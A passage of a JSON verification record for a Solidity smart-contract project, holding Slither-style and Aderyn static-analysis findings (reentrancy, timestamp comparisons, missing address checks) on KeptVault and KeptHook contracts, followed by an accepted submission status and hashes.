KeptVault.setOwner(address).next (src/KeptVault.sol#588) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/KeptVault.sol:296: Reentrancy in KeptVault._check(uint256,uint8,uint256) (src/KeptVault.sol#296-335):\n[low/medium] reentrancy-events at src/KeptHook.sol:189: Reentrancy in KeptHook.sweep() (src/KeptHook.sol#189-201):\n[low/medium] reentrancy-events at src/KeptHook.sol:171: Reentrancy in KeptHook._accrue(uint256) (src/KeptHook.sol#171-180):\n[low/medium] timestamp at src/KeptVault.sol:211: KeptVault.createPledge(IERC20,address,string,KeptVault.MilestoneInput[],uint256) (src/KeptVault.sol#211-260) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:574: KeptVault.executeProtocol() (src/KeptVault.sol#574-580) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:389: KeptVault.clearStale(uint256,uint8) (src/KeptVault.sol#389-395) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptHook.sol:121: KeptHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/KeptHook.sol#121-150) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptHook.sol:109: KeptHook.feeNow() (src/KeptHook.sol#109-114) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:296: KeptVault._check(uint256,uint8,uint256) (src/KeptVault.sol#296-335) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:621: KeptVault._verifyWith(OracleAttestation.Attestation,bytes,address) (src/KeptVault.sol#621-632) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:538: KeptVault._checkOpen(uint256,uint8,uint256) (src/KeptVault.sol#538-553) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptHook.sol:171: KeptHook._accrue(uint256) (src/KeptHook.sol#171-180) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:400: KeptVault.settle(uint256,uint8) (src/KeptVault.sol#400-424) uses timestamp for comparisons\n[low/medium] timestamp at src/OracleAttestation.sol:164: OracleAttestationConsumer._verifyAttestation(OracleAttestation.Attestation,bytes) (src/OracleAttestation.sol#164-175) uses timestamp for comparisons\n[low/medium] timestamp at src/KeptVault.sol:634: KeptVault._setProtocol(address,bytes32,address) (src/KeptVault.sol#634-640) uses timestamp for comparisons","passed":true},{"durationMs":1362,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/KeptHook.sol:192: Reentrancy: State change after external call\n[low] centralization-risk at src/KeptVault.sol:558: Centralization Risk (4 places)\n[low] costly-loop at src/KeptVault.sol:237: Costly operations inside loop\n[low] internal-function-used-once at src/OracleAttestation.sol:195: Internal Function Used Only Once (6 places)\n[low] large-numeric-literal at src/KeptHook.sol:35: Large Numeric Literal (2 places)\n[low] literal-instead-of-constant at src/libraries/Questions.sol:45: Literal Instead of Constant (25 places)\n[low] local-variable-shadowing at src/KeptVault.sol:60: Local Variable Shadows State Variable (4 places)\n[low] missing-inheritance at src/KeptToken.sol:5: Missing Inheritance\n[low] require-revert-in-loop at src/KeptVault.sol:237: Loop Contains `require`/`revert` (2 places)\n[low] state-no-address-check at src/KeptVault.sol:589: Address State Variable Set Without Checks\n[low] unchecked-return at src/KeptHook.sol:192: Unchecked Return\n[low] uninitialized-local-variable at src/KeptVault.sol:237: Uninitialized Local Variable (5 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"d4537e949ef030241ec448b46e01d02588de07c06741ddd776de4d5ddc9f32ee","verifiedTreeHash":"682e7c3743a4ecc43c6abdd3985d077e44a9e3ec","verifierVersion":"0.1.0+745c1db4"}]}